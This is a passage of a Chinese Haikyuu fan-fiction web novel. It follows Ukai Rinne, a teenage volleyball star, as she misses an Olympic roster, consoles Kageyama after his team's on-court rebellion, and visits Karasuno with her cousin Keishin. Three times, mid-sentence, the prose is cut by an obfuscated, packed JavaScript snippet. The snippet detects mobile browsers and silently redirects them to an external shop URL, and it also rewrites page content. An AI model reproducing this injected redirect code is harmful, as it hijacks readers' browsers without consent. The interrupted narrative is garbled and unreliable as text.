“喂，是我们白鸟泽的女武神吗？” “啊！是阿觉，来请求我分封你为我的尊腐骑士吗？” 刚好还是红头发。 虽然天童不知道什么是尊腐骑士，但他显然知道凛音是什么意思。 “哈哈哈哈哈，好啊，那我有这个荣幸吗？” “当然了，那你以后就是我的尊腐骑士了。” “在你的声音里，我听到了雨水打在了羽毛上的感觉，女武神还在为名单的事情烦恼吗？” “唉，学长还是那么敏锐啊，隔了一个电话都能发现。” “你这样闪耀的宝石迟早能在世界上闪闪发光的，不必急于一时呀。” “嗯，我知道的，教练也说下一届一定有我的位置，只是有一点点失落而已，谢谢你。” “没关系哦，看你还是很有活力我就放心了。” 接着，了解她的牛岛也打来了电话，可能是和天童交流过了吧，这家伙的安慰很是暖心。 “凛音，你是个有本事的人，不要着急。” 陆陆续续又来了一些电话，凛音一一接下来，心里那点不甘心也渐渐消散了。 不过教练组还是没有放过她，让她继续留下来集训，凛音知道，这多半是因为教练组还没有决定好要不要将她放上奥运会名单。 这次的女排世界杯，凛音还是被安排随队了，反正赛场就在日本。她的教练带着她去各个赛场上围观学习，她感觉自己的脑子又长出来一点。 最终，这场比赛的前三名分别是巴西、美国和中国，日本队第四，刚好错过了这三张门票。 不过她们的压力不算太大，毕竟还有亚洲资格赛，大概率还能抢到一张门票。 十一月下旬，比赛结束，集训告一段落，凛音回到学校继续上学，估计明年二月之前不会有什么集训任务了，这也就意味着她要参加春中了。 此时，县预选赛已经结束了，幸好队友们够靠谱，成功出线，不然等她回来一看，进不了全国乐子就大了。 整个十二月份，凛音恢复了一半女排一半男排的训练，她要和队伍练习配合，不过三年前就配合的很好了，如今也只是把曾经会的都捡起来，重新融合新的而已。 凛音集训回来以后也看清了队伍的一些问题，纠正一番后队伍的实力也有所增强。 一月份参加春高，她们一路顺利地闯入决赛，遇上了金兰会，里面有老对手千叶丽嘉，也是凛音参加世锦赛时候的队友，两人对视一眼，眼里燃起了战意。 时间仿佛回到了三年前，白鸟泽还是现在这个阵容，而千叶丽嘉那边却比国中时强了一倍，但白鸟泽强了何止一倍！ 凛音带着队友以压倒性的优势战胜了金兰会，告诉全体高中生，她为什么能被选入国家队。 她本人再次拿下了一个MVP。 比起女排的辉煌，男排这次仍然止步八强。 凛音作为白色的乌鸦，她在崇尚个人实力的同时，也很看重团队配合，她和爷爷的观点一样，要追求团队成员实力的相乘，但男排那边好像只追求团队成员实力的相加。又不是小于一的数，相加怎么可能比相乘更大嘛。 但她也没有劝什么，毕竟这就是白鸟泽男排的风格。 比如天童觉，那样充满想象力的拦网，那种完全信赖直觉的打球方式，如果严格按照团队理念，是绝对不允许的。风险太高了，让后排防守怎么接嘛。 可是这就是凛音觉得他最耀眼的地方啊，白鸟泽能包容这样的天赋，让它自由生长，这本身就很了不起。 凛音喜欢所有热爱排球的人，但尤其喜欢那些能把天赋挥洒到极致的人。在白鸟泽，天童可以尽情做他自己，若利也可以心无旁骛地追求绝对：这里是他们的乐园。 至于团队配合……凛音想，等他们去了更大的世界，自然会学会的。但现在，就自由地飞一会儿吧。 无法做到实力相乘的他们倒在八强也是完全可以预见的。 打完春高，放几天假，凛音听说五色又在县预选赛里面输给了北川第一，就和牛岛他们一起去看北川第一的全国大赛。 他们去的时候刚好是半决赛。 “北川的二传是及川的学弟哦，一个真正的天才。”凛音这么和队友说着。 但牛岛倒是有些不以为然，他们白鸟泽需要的是那种全力为了王牌服务的二传，他不会和凛音直说，他知道凛音因为濑见的事情很不开心。 但是牛岛的态度还是让凛音看出了他的意思，她不由自主地想到了濑见，唉，比赛完了她要去问一下，如果影山想来白鸟泽她一定会劝他的，不过北川毕业的以后肯定想去青城吧。 然后，凛音就在赛场上看到了她这辈子永远忘不掉的一幕，影山的传球没人试着去扣？！ 凛音反应过来了，怪不得之前看他们的样子有点怪怪的，凛音这么多年从来没见过二传和队伍不和是什么样子，所以也就没有看出来。 她脑子里有一堆疑问：既然有矛盾有问题为什么不交流？为什么要用这种方式表达对二传的不满？ 但冷静下来一想，能在如此重要的比赛上用这么决绝的方式抗议，问题一定严重到了不可调和的地步。 那么问题又来了，一群十五岁小孩不善于交流甚至钻牛角尖这很正常，那教练去哪了？ 凛音愤怒地在心里骂北川的教练天天训练了什么，这么严重的问题跟瞎了一样看不见。 同时，这件事让她想到了黑川凪，她也是个不善交流的人，如果凪当初没有遇到她，最终也去打二传了，会不会也出现这种情况呢？一想到她会被队伍所抛弃，凛音就觉得心好痛。 她看了一眼观众席对面的及川，还是她顺着若利视线找到的…… 及川的表情很冷漠，唉，他肯定在想影山果然还是没有超过他之类的话，凛音知道他一定不会去安慰这个学弟了。 凛音看了观众席一圈，没注意到有人担心影山的情况，她叹了一口气，这孩子不会没有朋友吧…… 坏了，没朋友的黑川凪被队伍抛弃，无人安慰…… 这下凛音更受不了了，又叹了一口气，她已经没有办法不去管这个孩子了。 比赛结束后，凛音一路跟着影山来到一处没什么人的地方，路上还听说影山的队友给他的绰号是“王者”，球场上的王者，也是独裁的王者。 影山就这么茫然地坐在长椅上，似乎还没有接受今天所发生的一切。 “你好呀，影山同学。”凛音纠结了很久，去打了个招呼。 影山呆呆地抬起头，立刻认出了眼前的人是谁。影山是个尊敬前辈的好孩子，就算现在他的情况不太好，依然和凛音打了招呼：“你好，乌养前辈。” “这场比赛我看了，你想放弃排球吗？” 影山奇怪地看了她一眼，仿佛在说“你怎么会有这种想法”，笃定地回答：“当然不想。” “嗯，那就好。只要还不想放弃，就说明排球还没放弃你。” “所以，”凛音转过头，看向影山那双依旧茫然却执拗的眼睛，“影山同学，我不是来替你的队友、教练或者任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这很难，比单纯追求最优解难一百倍。因为这需要观察，需要耐心，甚至需要你去说一些以前觉得没必要说的话。但我觉得，如果是你的话，一定能做到。因为你对排球的爱，足够纯粹到去学习任何能让它变得更好的事情。” 事实上，影山有点没听进去，但毕竟是和排球有关的内容，他把凛音的话记住了。 影山根本没想过凛音来这里是为了安慰他，给出建议的，后知后觉地回复：“谢谢乌养前辈。” 凛音看了他几眼，还是呆呆楞楞的，又补了几句：“你还是不要想太多了，我觉得不是你的错，你们这个年纪不知道怎么表达很正常，但你们的教练竟然没有调节，这是重大的失职，所以都是教练的错。” 影山有点惊讶地看了她一眼，竟然有这么不尊师重道的想法？ 但影山毕竟是个敬重长辈的人，为自己的教练辩解：“其实我们教练是很好的教练……” “不用什么锅都往自己身上背，你和你队友都是小锅，教练主责。”凛音还是有点不太放心，“你愿意和我聊聊你高中想去哪里吗？” “金田一和国见会去及川学长所在的青叶城西吧……”影山的眼神暗淡了一下。 哦，懂了，不想去青叶城西。 “我想去县内最强的白鸟泽。”影山思考良久给出了确切的答案。 “你知道我就是白鸟泽的吧，我经常去男排练球，听我一句劝，别来。”凛音心里一痛，这人她一定要拦住。 影山疑惑地看了她一眼。 “你起码是个正常的二传，有自己对局势的思考，但白鸟泽的风格不是这样的，我们不需要二传手有自己的想法，只要全力配合王牌就好了，你去了也会因为风格不适配做冷板凳。” 影山沉默了，他自然是相信凛音的话的，有了这个内幕消息他肯定不会再考虑白鸟泽了，青叶城西也不能去，还能去哪里呢？ 凛音叹了口气，给影山一个推荐：“我爷爷是乌野之前的教练，今年打算复出，或许你可以考虑一下乌野。” 乌野这个高中对凛音来说是很特别的，她从小就在这所学校跟着爷爷练球，知道它曾经的辉煌，知道它与音驹相约的垃圾场之战，也见证了它的衰落。爷爷的职教理念在这里形成，她的一部分排球理念也在这里形成。 影山的心里又有了希望，点了点头。 “你是个有天赋有本事的人，不必着急的。”凛音盗用了若利安慰她的话。 在影山的注视下，凛音离开了。 “喂！凛音！你跑哪去了？快点，要回去了！” 凛音听到濑见的声音加快了脚步。 38.哥哥要去做教练了 凛音没有忘记和影山交换line，她让影山有什么困扰可以来问她。 line是去年日本刚出的一个社交软件，迅速就火了起来，凛音开开心心拉着身边的人注册了账号，这才是日本该有的样子嘛。 她把自己的line头像改成了自己的照片，黑川凪的头像是和她的合照，若利的头像是凛音送他的那副画，其他人的头像凛音就看不懂了。 三月份，又是一年毕业季。国中时的毕业季大家不舍归不舍，但心里也知道这意味着“以后高中部再见”，但高中的毕业，那就是真的很难再见了。 凛音作为部长，怀着强烈的不舍组织了她们女排部最后一次集合。 体育馆里安静得能听见呼吸声。 她握着那份熟悉的部员名册，站在队列前，声音清晰平稳，履行着部长最后的职责。 “一年级，黑川凪。” “到。” “小林莉亚。” “到。” …… 点名平稳地进行着，像过去几年中的任何一次。直到—— “三年级。” 她停顿了半秒，目光扫过那些熟悉的面孔。今川加悦微笑着，浅沼由美眼眶微红，并木郁江站得格外挺直。 “今川加悦。” “到。” “浅沼由美。” “到。” “并木郁江。” “到。” 名册上的名字按顺序念完。凛音合上名册，抬起头的瞬间，视线与即将离去的学姐相遇。 按照流程，她该说“解散”了。 但她没有。 她看着她们，看着这几年来在她专注于进攻时默默填补防线、在她还是新生部长时给予毫无保留支持的人。 泪水毫无预兆地涌了上来。 “……”她张了张嘴，想完成的最后一步，喉咙却被汹涌的情绪堵住。 凛音猛地低下头，用拿着名册的手背仓促地抵住眼睛。 整个体育馆都安静了，二年级的木本瑶也咬住了嘴唇。 几秒钟后，凛音吸了吸鼻子，重新抬起头。眼眶和鼻尖都红了，脸上还有没擦干净的水痕，但她的嘴角努力向上弯着。 “白鸟泽学园女子排球部，本次集合……到此结束。” “加悦学姐，由美学姐，郁江学姐……”她一个一个地叫过去，声音哽咽，“真的……真的……非常非常感谢你们。” 说完，她朝着几位学姐，深深地、标准地鞠了一躬。 这个鞠躬持续了很久。直到今川加悦走上前，抱住了她颤抖的肩膀。 “傻瓜，”今川的声音也哑了，“你做得已经比我们好太多了。” 女排部的大家也都围了上来，这几年来大家一起练习比赛的画面还历历在目。 回到宿舍后，凛音低落地对黑川凪说：“我感觉自己的一部分也跟着一起毕业了……” 凛音很快平复好情绪，过完了高一最后的时光。 三月份的春假，凛音再次入选国家队大名单。 一次或许是巧合，两次就绝对不是了，关注女排消息的人都对这个十六岁的少女产生了强烈的好奇。 不过尽管加入了国家队，凛音还是没有进入五月份的亚洲资格赛的十二人名单，早有预料吧，她都没进女排世界杯，怎么会进亚洲资格赛。 三月末，凛音收到了一条出乎意料的消息，来自千叶丽嘉，她从大阪来到仙台，想和凛音一起吃一顿饭。 凛音果断选择请她吃火锅，火锅狂魔人设不倒。 两个人虽然当过队友，但骤然坐一起吃饭还是觉得有点怪怪的。 气氛有些沉默，而凛音已经习惯了，她随便想着找个什么话题，没想到千叶丽嘉比她更快一点。 “小白鸦还在记仇呢？不就国中时候骗你一次嘛。” “真是谢谢你给我上一课嗷。”凛音微微有些红温，同时又在心里把濑见骂了一遍，这小白鸦的外号已经人尽皆知了，把她的女武神还给她…… “不谢，外面可没有我这么好心的老师给你上课了。” “……” “我要去美国上大学了，想在那里的NCAA排球联赛打打看，体验一下那里的生活，总觉得日本的环境……太窄了。”千叶的语气变得平静。 凛音点了点头，赞同道：“合理的决策，不过我的大学应该还是会在日本上吧，大学打打V联赛，然后再看能不能去意甲或者土耳其。” 千叶丽嘉露出了真诚的微笑：“以你的天赋，在哪里都不会有问题的。” 两人一边吃饭一边随意的聊着，饭后，凛音送她去了车站。 “一开始，我们很多人都嫉妒你的天赋，但渐渐地，你已经到了让所有人生不起嫉妒之心的高度。很期待在未来能看到属于你的那个时代，我们都将成为你的背景板。” 离别之前，千叶丽嘉说了这么一段话，是她难得的一次服输。 千叶丽嘉走后，凛音压下了心里的感慨，继续走自己的路。 春假里还发生了一件事，爷爷最近又生病了，几年前他送走了小巨人那一届之后就因为身体原因离职了，但他一直想回到乌野，本来都打算复出了，但是又病倒了。 凛音在爷爷家里住了几天，陪陪爷爷。 但同时她也很愧疚，她给影山推荐乌野的原因就是爷爷复出，如今爷爷生病了，乌野也就没有了教练。凛音很清楚，一个好的教练对队伍的提升是巨大的，没有教练，连练习赛都不好约。 她问到影山被乌野录取后，给他道了歉，是她的判断失误了。不过影山自然是不会怪她的，毕竟报名乌野是他自己做下的决定。 四月一号，是新学期的第一天，老样子，看分班。 她还是和小林莉亚、鸟海玲奈她们分开了，和黑川凪在一个班，川西太一和白布一个在左边班一个在右边班。 已知，一个年级五个班，按照随机分配原则，两个人在一个班的概率为0.2，连续五年被分在一个班的概率为1/3125。 怎么想都有问题好吧。 凛音看着黑川凪的眼睛，盯—— “好吧好吧，我找关系了。”黑川凪无奈承认了她操作分班的事情。 “唉，算了，凪大人真是神通广大，既然你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872094|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么喜欢和我在一起，我就原谅你了。” “……”话是这么说的，但怎么听起来怪怪的。 今年四月份，凛音正常女排男排两头跑，终于又在男排部见到了五色工。 凛音能看出来鹫匠教练非常喜欢五色，骂他骂的是最多的…… 不过大平常常会安慰他：“教练最喜欢的是你，所以骂你骂的最多，凛音以前也是这么被骂的。” 五色瞬间满血复活：“那教练骂我骂的多还是骂凛音前辈骂的多？” “……” 这也要比？ 而且凛音还发现了一件事，白鸟泽竟然隔代亲诶，三年级对五色是明着宠，二年级是暗着宠，而凛音本人介于二三年级之间，时而明宠，时而暗宠。 不过凛音当初对五色的判断果然没有问题，这样一个上进、性格好、技术不错、单纯可爱还有点傲娇的后辈，谁会不喜欢呢？刚认识的天童和白布都对他宠爱有加。 对，说的就是你，白布，别以为你天天对五色很冷漠就能骗过她了。凛音看着白布这么想着。 白布打了一个喷嚏。 “白布，小心不要感冒了。” “是。” 这个月，她每个周末都有去爷爷家看爷爷，爷爷的身体也渐渐恢复了，但家里人都不让爷爷再去当教练了，他也只好教教一些小孩子了。 看完爷爷后，凛音都会顺路去系心哥哥家里看看伯父伯母。 她习惯地来到伯母的店里面陪哥哥，她哥还是老样子，穿著围裙、叼着烟、拿着鸡毛掸子守店。店外面似乎有个鬼鬼祟祟的人在偷偷看，凛音淡定地对她哥指了指，直接把系心吓一大跳。 凛音并没有在意，直到那个人开口让系心哥哥来乌野当教练。 凛音瞬间跑过去，盯着她哥看。 系心本来是打算拒绝的，但看着小妹妹恳求的眼神又说不出话了，他也知道对凛音来说乌野是个特殊的地方。 “哥~同意吧！同意吧！同意吧！乌野有个天才二传哦，我认证的天才哦，肯定不会让你失望的！”凛音知道他哥对待乌野也是有别样的感情的，只会比她更深，“而且，故地重游也有一番风趣嘛，不要不好意思啊。” 系心脸红了一下，但还是升起了一丝兴趣。 怎么说呢，武田老师口里的好苗子和凛音嘴里的天才在系心眼里显然不是一个概念，毕竟武田老师不懂排球，但凛音太懂了。 系心被她挑起了好奇心，于是答应了武田老师下周日再去乌野看看，因为他要带着凛音一起去。 然后武田老师又放出了一个消息，过段时间乌野要和音驹打练习赛，那这下更要去了。 武田老师走了以后，凛音才开始逼问她哥，原来小武老师已经来找他好几次了。 “他简直比你还缠人！”系心抱怨道。 “你别转移话题，你怎么没把这件事告诉我！” “额…额…我忘了……” 凛音瞪了他两眼，还是放过了他，毕竟已经答应了乌野。 整个星期，凛音都很期待周末和哥哥去乌野看看，看看爷爷奉献了半生的高中如今怎么样了。 39.指导后辈 很快，周六上午男排那边的部活结束，凛音不顾大家关心的眼神，无视鹫匠教练的大喊大叫，拔腿就跑。她早就和学校上报过了，坐车来到了哥哥的店里。 看着孩子期待的眼神，系心无奈，约的时间是明天啊，他还请了自己的朋友们一起来看看他们的水平呢。 但怎么说呢，这件事情毕竟把孩子的期待值拉满了，她现在脑子里全是这件事，这种时候系心应该做点什么或者说点什么来分散孩子的注意力，这种事情黑川凪就比较有经验了。 系心无奈地找个没人角落抽支烟，思考一下怎么安抚家里的熊孩子。 “凛音，我们来一起打游戏吧。” “不想打。” “那看电视剧呢？” “不想看。” “那你想干嘛呢？” “去乌野。” “……” 最后，系心狠下心来，让凛音帮他一起在店里干活，打扫卫生补货什么的，这下孩子安静下来了。 第二天周日，小武老师来带乌养教练去排球馆，系心摘下耳钉，带好东西跟着去了，凛音也换好运动服带好东西走在他们的后面。 推开门，大家都在练球，小武老师向同学们介绍他们新的教练，引来一阵阵惊叹。 诸如你不是坂下商店的小哥之类的疑问。 等大家接受了哥哥的到来，凛音瞅准时机，也进来了，这样就不至于抢了哥哥的风头，让他无法自我介绍，毕竟凛音知道，所有的目光都会汇聚在她的身上。 她露出灿烂的笑容，和大家挥挥手。 “哇哦！这是谁？是模特吗？”人群里隐约传来一阵哇哦。 “哇哦！好高！好帅！好漂亮！”日向眼睛亮晶晶地称赞道。 “吵死了！闭嘴！”影山摁住日向的头，然后对凛音一个鞠躬，“乌养前辈好！” “啊，我们影山真有礼貌哦~”凛音观察了一圈，第一眼就看见了影山，然后就是后面的那个美女！ 哇哦，是美女经理，那颗痣好性感哦，真羡慕啊。凛音一边想着，一边热切地越过其他人，脸上挂着迷人的笑容，绅士地向那位美少女伸出了手。 “你好，我叫乌养凛音，很高兴认识你。” 对方淡定地握住了她的手，自我介绍到：“你好，我叫清水洁子。” 其他人：…… “喂，凛音，快过来，别闹了。”她哥忍无可忍，把她招了过来。 凛音为了维护她哥的教练权威，乖乖地走到了他身边。 “这是我的堂妹乌养凛音，今天我找人给你们安排了练习赛，她就是其中一员。”系心故作平静实则骄傲地介绍，“别看她是个女生，今年才高二，排球打得可是很厉害的哦。” 众人不知道和凛音打练习赛意味着什么，都保持着一种对和美女打排球的新奇感，只有关注过她的影山知道对手是多么可怕。 “哇！太棒了！”日向对新伙伴十分友好。 “笨蛋！你知道这是谁吗？”影山又给日向来了一下，有点别扭地向大家解释道，“她是白鸟泽的那位女武神！” 一说女武神都听懂了。 “就是那个十五岁就进了国青队，又进了国家队，十六岁还在国家队的那个？听说力量比不少男排职业还要吓人！” 日向反而更兴奋了：“那岂不是超——厉害！好想接接看她的球！” “白痴！被打中会死的！”影山骂了一句，但实际上他自己也兴奋的要死。 “哦？”月岛萤推了推眼镜，打量凛音的目光里多了几分审视和不易察觉的警惕，“传说中的女武神本人吗……看起来倒没那么凶神恶煞。” “月岛，注意礼貌！”泽村大地低声提醒，但看向凛音的眼神也充满了郑重。他身为队长，更清楚这个名号背后的分量。 系心开始打电话叫人，他小声嘀咕着：“这周末的人怎么比工作日还难找。” 另一边，凛音开开心心地去和美女搭讪，然后被田中和西谷拦下来了，她无趣地跑去找影山了。 “嗨，影山，你最近怎么样呀？乌野还不错吧？” “哦，我还好，乌野也挺好的。” “对了，你说的那个能配合你打快攻的是谁呀？” 影山上了乌野后，出于推荐人的责任，凛音时不时会给影山发信息，关心一下他最近的情况，影山也会乖乖地回复她。 影山有和她提到过日向，说是运动能力很惊人，个子不高，但能够完全信任他的托球，打出令人惊讶的快攻。 “我！我！我！是我！你好，我是日向翔阳！”日向蹦蹦跳跳地来到凛音身边。 “你好呀，我叫乌养凛音。”凛音对眼前的这个少年很有好感，他身上似乎有一种特质，一种令人感到温暖的特质。 “你们愿意给我看看这个快攻吗？听说日向扣球的时候都不用睁开眼睛诶。” 影山默默点了点头，日向大喊着“好啊！好啊！” 凛音随手从球筐里面拿出一个球，向影山抛了出去，球以一个看似随意、实则精准稳定的弧度向影山的方向飞了过去。 凛音收起笑容，走到网的对面，瞄着日向的位置，做好接球姿势。 只见影山后退半步，他的眼神锁定了空中的球，冷静至极，眼里却又燃烧着炽热的专注。 与此同时，日向动了，几乎瞬间就从网的一头转向跑到了另一头。 他仿佛脱离了物理规则的束缚，从静止到极速的爆发只在一瞬。脚掌蹬地的声音清脆短促，人影化作一道橘色的流光，以惊人的弹跳力飞了起来。他的眼睛在起跳的瞬间已然闭上，将全部感官、全部信任都交付给身体的本能，还有对那个托球者的绝对信任。 就是现在！ 影山的手指触及来球。 没有多余的动作，也没有夸张的姿势，球似乎连旋转都未曾改变，就脱离了原有的抛物线，仿佛一颗精准的导弹，飞向它预设的目的地。 日向的手臂已然挥下。 那橘色的身影落地，轻盈得像一片羽毛。日向睁开了眼睛，眼睛里是纯粹的欢欣。 但令所有人都没有想到的是，尽管凛音没有跟上日向的跑动，没有到达最佳的接球位置，但在日向扣出球的一瞬间，她一个鱼跃，扑在了球的落点处，刚好垫起了那一球，球朝着球场中心飞了一小段，刚好落在界内，是二传能够处理的一球。 “确实很惊人啊，如果影山能调动的攻手再多一点，我应该就接不到了。”凛音不禁感慨到。 因为只有日向一个人扣球，而且他还是闭着眼睛扣球的，那就说明了他根本不会根据对手的位置调整球的线路，那么凛音完全能预判到球的落点，直接接下来。这种情况下的快攻对凛音来说就像cs职业选手知道敌人的位置然后打信息枪一样，有可能被反杀，但更多的是打死了对方。 影山飞雄的瞳孔收缩，他没有想到前辈这么厉害，能够预判到球的落点。 “喔！前辈好厉害！球嗖地飞过去，前辈唰地扑过去，噌地垫起来，这是怎么做到的！”日向眼睛亮亮地去请教。 虽然日向的表述有点抽象，但凛音还是听懂了，这份纯粹的崇拜让凛音心情很好，得意叉腰。 然后她耐心地告诉了日向自己能接到这一球的奥秘，乌野的大家也都来听了，然后发现这方法怎么比日向的表达还抽象。 什么叫根据球的旋转和日向的扣球姿势对球的落点做出预判？听起来很容易，反正日向每次击球都一个姿势。但实际根本不太可能吧，球经过了一传和二传，到达日向的手里就是有各种不同的旋转，哪怕日向以一样的姿势扣出去，球的线路也是不一样的。但这就是凛音强悍的地方，她绝对的球感和空间感。 之所以说她是排球天才，不只是她的力量，不然她为什么不去举重，而是她的多项天赋都达到了顶尖水准，力量只不过是最突出的一项罢了。 把凛音的各种天赋拆开来看，每一项符合标准的人多了去了，只有力量上很少而已，但把这些天赋聚合在一个人身上，几十年来，日本女排就发现了她一个。 “喂，你们俩怎么回事，怪人吗？”系心对于凛音能接到这一球并不奇怪，好歹是国家队，但他对这两个打快攻的感到十分惊喜。 系心站在那里和小武老师解释着什么，而凛音则对日向更加好奇一点，运动天赋太出众了，可惜个子矮了一点。 “你很喜欢排球吗？”凛音有些严肃地问日向。 “当…当然，我要成为小巨人那样的人！”日向被她突然的严肃脸吓了一跳。 “哦~”凛音了然，小巨人的粉丝啊，“我当年宇内前辈一起练过球。” “诶？真的吗？”日向的眼里写满了羡慕。 “真的，他的水平相当不错，虽然个子矮了一点，但跳跃能力非常离谱。在运动天赋上你和他很像，还有可能比他更出色一点。” “真的？！”日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876613|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向很激动，这可是来自国家队的认可！ “嗯，不过你的基础是不是不太好？技术上比他烂很多。”凛音毫不留情，她不觉得这话是打击，毕竟技术是可以练出来的，不像天赋一样令人绝望。 日向果然低落脸。 “你未来也想一直打排球吗？我是说职业。” “当然想了！”日向很肯定很认真地回答。 “说真的，你的天赋非常非常好，如果换成别的什么运动，我敢肯定，你绝对能顺利地成为世界级的运动员，但唯独排球，我不知道你的未来是什么样的，但我想肯定会有曲折。” “诶？” 日向脸上的笑容顿了一下，眨了眨那双明亮的眼睛。他并没有立刻反驳或沮丧，反而像是在认真思考这话的含义。 “别的运动……世界级……”他小声重复着，然后突然抬起头，笑容再次绽放，“但是乌养前辈，我只喜欢排球啊！” “我不知道未来会不会有曲折，肯定会有吧！影山那家伙也说我还有很多很多不足的地方，月岛也老是说些让人火大的话……但是！” 他握紧了拳头，举到胸前，眼睛里闪烁着炽热的光芒： “就是因为喜欢，所以才要打啊！就算很难，就算可能会失败很多很多次，我也只会选这一条路！因为扣球的感觉、接到球的感觉、和大家一起跳起来把球打过去的感觉，是世界上最好的！” 他顿了顿，有些不好意思地挠了挠脸颊，但眼神没有丝毫动摇： “所以，谢谢前辈告诉我这些。不过，我的未来，我想用排球来书写。就算是曲折的路，只要一直打排球，我就没问题！” 这番直率又充满力量的话语，让周围的人都愣了一下。 影山看着日向的侧脸，紧抿的嘴角似乎柔和了一瞬。 月岛轻哼一声，别开了视线，但没再说什么嘲讽的话。 凛音盯着他看了一会，露出了灿烂的笑容，笑容里带着欣赏。 “不错不错，只要你还喜欢排球我就会喜欢你，我不想祝你的未来一帆风顺，这不太现实，只是希望经历了很多事情后你能如愿以偿。” 这个少年让她想到了及川，在凛音看来，排球上身高的缺陷比起那一丝二传技术天赋上的不足，更加致命。以她上辈子看到的男排职业赛场的情况来说，除了自由人和对身高要求较低的二传，其他位置一米八都算袖珍了，日向才一米六几吧。所以他对排球的执着更加需要勇气与热爱。 “嗯！”他用力点头，像在接受一个重要的承诺，也像是在对自己宣告，“我明白了，前辈！我会拼命打，打到最后的！” 然后，他像是突然想起了什么，眼睛又亮晶晶地看向凛音：“那，前辈说喜欢我，是因为我喜欢排球对吧？” “嗯。” “那——”日向忽然转向旁边一直沉默但注意力完全在这边的影山，一把拽住他的胳膊，将他拖到了凛音面前，兴奋地宣布，“影山也喜欢排球！超级喜欢！喜欢到脑子里只有排球！所以前辈也要喜欢影山！” “笨、笨蛋！你突然说什么！”影山被这突如其来的推销弄得耳根发红，试图挣脱，却又顾忌着动作不敢太大，只能僵硬地站在那里，眼神凶巴巴地瞪着日向，却又悄悄用余光瞥向凛音。 她忍不住笑了出来，方才对话里那一点点沉重的气氛瞬间消散。 “哈哈哈。”她笑着摇头，目光落在影山身上，“我本来就很喜欢影山哦。” 影山抿了抿嘴，最终还是没有反驳，只是微微别开了脸，紧握的拳头似乎松了一些。 “对了，日向，因为你的基础不太好，处理太多信息会影响到你的扣球，所以现在才会闭上眼睛。但你们想要更进一步，你必须要学会睁开眼睛，看到空中的风景，选择一个适合的球路。一旦二传把球交给了你，你就成了这次进攻的主导者 。 影山，你也要配合他一起练习，不过二传的事我不太擅长，问我哥什么的都行。 目前来看你们这个组合已经很不错了，尤其是在你们配合的时间比较短的情况下。” 凛音看着他们练习了一会后，作为前辈提出了自己的想法。 “凛音，过来打练习赛了，人都来了。”乌养教练开始安排了，“该死的，人不太够啊，喂！外面那个！你怎么还迟到啊！算了算了，你是打什么位置的？” “主攻……” “那你快到町内会那边去。” “……” 40.参加奥运会 人大致凑齐了以后，凛音果断从町内会那边叛变了。 “哥，我想和影山一起打！我要去那边！”凛音对影山的托球还是很好奇的。 “去吧去吧。” 凛音和对面的泽村换了位置。 “好像没有接应了，我来打接应吧。”她的接球技术在高中还是顶级水平的，“影山，我在后排的时候不用给我传球。” “好的，前辈。”影山会意。 对面的东峰旭和己方的田中力量大概也是5，但凛音的力量今年成功增长到了6。 在身高方面，乌野也只有月岛萤比她高了，凛音的技术和力量都优于场上的所有人，所以可以想象到比赛的结果。 凛音在后排时，专注于接球，成了一二年级队的守护神，防守范围很大。她被轮换到前排时，向乌野的所有人展示了她为什么被称为女武神的原因，有影山帮助顺利躲开拦网，她扣下来的球对手也几乎接不住。 “给我三个球的时间！” 在一次死球间隙，西谷夕突然大声喊道，他擦去额角的汗水，眼神死死盯着网对面的凛音，没有畏惧，只有熊熊燃烧的斗志。“我一定会接起她的球！三次机会！” 果然，三球之后，他已经差不多能接下凛音的球了。 这个自由人是个天才，凛音在心里想着，这一届乌野的阵容十分有潜力啊。 不过第一局，凛音那一队还是赢了。 “厉害啊，影山，第一次配合就能到这种程度啊。”影山给她托的球已经有黑川凪的感觉了，明明只是第一次配合。 “我有研究过前辈的比赛录像。”影山解释了一句。 凛音没想过他一个男排的会来研究女排的比赛，她都没怎么看过男排的比赛，不过后辈还是要夸。 “那也很厉害啊，毕竟没有真正配合过。” “嗯。”影山偷偷笑了。 然后第二局，凛音被她哥从比赛里面拎出来了，你一个国家队的不要欺负人了，过来老老实实看着。 凛音只好下场，换了别人，她站在哥哥旁边看这场比赛，和他哥一起给小武老师当解说。 然后听着这群少年一边打球一边说一些她不太懂但十分热血的话，真有活力啊。 不过她倒是听懂了日向的烦恼，想当王牌而不喜欢诱饵这个位置，羡慕王牌的身高和力量。 额，凛音没有过位置上的烦恼，她没有经验可以解开日向的心结，但她也清楚，在一个团队中，每个人都要清楚自己的定位，希望日向以后能解决吧。 练习赛打完，她没有给乌野的其他人提什么建议，毕竟在这点上她的水平不如她哥，还轮不到她来提意见。 下午三点多，凛音估摸着要回学校了，今天她还没怎么练球呢。 小武老师看出她和影山比较熟悉，让影山送她去车站。 “你还是经常想起国中时候的事吗？”凛音关心了一嘴，这种事情对二传来说绝对是噩梦吧。 “嗯。”影山低下了头。 “没有什么办法能让你很快的摆脱这件事的阴影，只能靠你自己，靠你现在的队友。乐观点想，这件事情将时刻提醒你，不要忽略队友的感受。”凛音也叹了口气，作孽啊，这都什么事啊。 